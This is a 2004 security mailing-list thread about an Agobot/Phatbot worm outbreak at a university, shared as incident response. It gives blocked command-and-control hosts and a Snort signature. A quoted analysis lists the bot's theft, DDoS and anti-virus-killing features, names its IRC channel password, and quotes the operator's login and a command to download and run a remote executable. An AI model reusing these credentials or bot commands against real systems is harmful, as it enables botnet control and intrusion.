Full Disclosure mailing list archives

RE: Re: Outbreak of a virus on campus


From: "David Hale" <ddh () mtu edu>
Date: Sun, 25 Apr 2004 02:52:09 -0400 (EDT)

  We have currently blocked connections to port to/from 7000 on the
following hosts:

130.74.82.206
131.234.100.43
193.87.20.31

  This seems to have contained the spread of the worm within our campus. 
The list of hosts was gathered with a snort signature of:

alert tcp $HOME_NET any -> any 7000 (msg:"agobot IRC traffic";
content:"weednet";classtype:bad-unknown; sid:71727; rev:1;)

  Until the block was in place we had shut down around 50 hosts (mainly on
our dorm network) that had been infected with the worm.

  -Dave Hale
   Sr. Security Specialist
   Michigan Technological University


----- Original Message -----
From: "Morning Wood"
Date: Sat, 24 Apr 2004 18:37:31 +0000
To: mueller () fidnet com, full-disclosure () lists netsys com
Subject: RE: [Full-disclosure] Re: Outbreak of a virus on campus

phatbot?

This one is yet another agobot. Has long list of useful commands
(included in the end of posting, if someone is interested...),
polymorph capability, stealth capability -hides its own process
in memory and binary from listing, capable of updating itself
via ftp/http, has list of servers for evaluating connection speed,
steals cdkeys, sniffs a wire, performs ddos, capable installing
a proxy, sends spam via aol, can install identd, has LONG list
various processes to kill (mostly AV, but also regedit and tcpview
among others), retrievs sysinfo, makes screenshots etc etc etc -
looks similar to others good household bot's :)

What makes its interesting - its stealth capability and propagation.
It has following scanning/propagation subroutines:

CScannerBagle
CScannerBase
CScannerDCOM
CScannerDoom
CScannerDW
CScannerHTTP
CScannerNetBios
CScannerOptix
CScannerSQL
CScannerUPNP
CScannerWKS


When worm is started, it connects to irc server
193.87.20.31 (irc.weednet.net) port 7000.
Then it joines to password ptotected channel
#1337, password is heyho. As channel topic is
.scan.startall, it accepts command and starts
right away scanning.

I took my trusty irc client and joined to that
channel by myself. Right away admin gave me those
commands:

<admin> .login stebo jamesbond007 -s
<admin> .ftp.update ftp://ftp:bla () ftp uni-freiburg de/incoming/dt.exe
%TEMP%\xgf.exeBLAOR12
<admin> .scan.stop
<admin> .ftp.update ftp://ftp:bla () ftp uni-freiburg de/incoming/dt.exe
c:\xgf.exe BLAOR12

seems like my 'bot' version was too old :)

have fun :)

W.


-----------------------
commands and parameters
all commands starts with . (dot)




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